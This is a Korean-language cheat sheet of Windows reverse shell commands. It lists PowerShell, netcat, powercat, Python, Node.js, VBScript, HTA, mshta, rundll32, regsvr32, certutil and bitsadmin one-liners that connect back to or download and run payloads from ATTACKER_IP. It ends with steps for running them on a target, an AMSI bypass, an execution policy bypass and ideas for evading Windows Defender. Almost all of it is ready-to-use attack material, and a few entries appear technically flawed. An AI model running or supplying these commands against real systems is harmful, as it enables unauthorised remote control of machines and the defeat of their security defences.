Windows Reverse Shells

Windows 시스템에서 사용할 수 있는 다양한 리버스 쉘 명령어들입니다.

💻 PowerShell

Basic PowerShell

powershell -NoP -NonI -W Hidden -Exec Bypass -Command "& {[System.Net.Sockets.TcpClient]::new('ATTACKER_IP',PORT).GetStream().CopyTo([System.Console]::OpenStandardOutput())}"

PowerShell with Invoke-Expression

powershell -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

PowerShell one-liner

powershell -c "IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:PORT/shell.ps1')"

PowerShell with Base64

powershell -e <BASE64_ENCODED_COMMAND>

🖥️ CMD

Basic CMD with netcat

nc.exe -e cmd ATTACKER_IP PORT

CMD with PowerShell

powershell -c "& {[System.Net.Sockets.TcpClient]::new('ATTACKER_IP',PORT).GetStream().CopyTo([System.Console]::OpenStandardOutput())}"

CMD with telnet

telnet ATTACKER_IP PORT | cmd

🔧 Powercat

Basic Powercat

powercat -c ATTACKER_IP -p PORT -e cmd

Powercat with SSL

powercat -c ATTACKER_IP -p PORT -e cmd -ssl

Powercat with UDP

powercat -c ATTACKER_IP -p PORT -e cmd -u

🐍 Python

Python 2

python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ATTACKER_IP',PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['cmd','/c','cmd']);"

Python 3

python3 -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ATTACKER_IP',PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['cmd','/c','cmd']);"

🟨 Node.js

Basic Node.js

node -e "var net=require('net'),sh=require('child_process').exec('cmd');var client=new net.Socket();client.connect(PORT,'ATTACKER_IP',function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});"

Node.js with spawn

node -e "require('child_process').spawn('cmd',[],{stdio:[0,1,2]})"

🔧 VBScript

Basic VBScript

Set objShell = CreateObject("WScript.Shell")
objShell.Run "cmd /c nc -e cmd ATTACKER_IP PORT", 0, True

VBScript with PowerShell

Set objShell = CreateObject("WScript.Shell")
objShell.Run "powershell -c ""& {[System.Net.Sockets.TcpClient]::new('ATTACKER_IP',PORT).GetStream().CopyTo([System.Console]::OpenStandardOutput())}""", 0, True

🔧 JScript

Basic JScript

var objShell = new ActiveXObject("WScript.Shell");
objShell.Run("cmd /c nc -e cmd ATTACKER_IP PORT", 0, true);

🔧 HTA (HTML Application)

Basic HTA

<html>
<head>
<script language="VBScript">
Set objShell = CreateObject("WScript.Shell")
objShell.Run "cmd /c nc -e cmd ATTACKER_IP PORT", 0, True
</script>
</head>
</html>

🔧 MSHTA

Basic MSHTA

mshta javascript:alert("test");

MSHTA with PowerShell

mshta vbscript:Close(Execute("CreateObject(""WScript.Shell"").Run ""powershell -c """"& {[System.Net.Sockets.TcpClient]::new('ATTACKER_IP',PORT).GetStream().CopyTo([System.Console]::OpenStandardOutput())}"""" "",0,True"))

🔧 Rundll32

Basic Rundll32

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").run("cmd /c nc -e cmd ATTACKER_IP PORT",0,true);

🔧 Regsvr32

Basic Regsvr32

regsvr32 /s /n /u /i:http://ATTACKER_IP:PORT/file.sct scrobj.dll

🔧 Certutil

Basic Certutil

certutil -urlcache -split -f http://ATTACKER_IP:PORT/shell.exe shell.exe && shell.exe

🔧 Bitsadmin

Basic Bitsadmin

bitsadmin /transfer myDownloadJob /download /priority normal http://ATTACKER_IP:PORT/shell.exe C:\temp\shell.exe && C:\temp\shell.exe

📝 Usage Instructions

  1. ATTACKER_IP를 실제 공격자 머신의 IP 주소로 변경하세요
  2. PORT를 사용할 포트 번호로 변경하세요
  3. 대상 Windows 시스템에서 명령어를 실행하세요
  4. 공격자 머신에서 리스너를 실행하세요: 
    nc -lvp PORT

⚠️ Important Notes

  • 일부 명령어는 특정 Windows 버전에서만 작동할 수 있습니다
  • Windows Defender나 다른 안티바이러스가 차단할 수 있습니다
  • 방화벽 설정에 따라 연결이 차단될 수 있습니다
  • 실행 정책(Execution Policy)이 제한적일 수 있습니다
  • 교육 목적과 합법적인 침투 테스트에만 사용하세요

🛡️ Bypass Techniques

Execution Policy Bypass

powershell -ExecutionPolicy Bypass -Command "command_here"

AMSI Bypass

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Windows Defender Bypass

  • Base64 인코딩 사용
  • 문자열 분할 및 재조합
  • 메모리 기반 실행
  • 레지스트리 기반 실행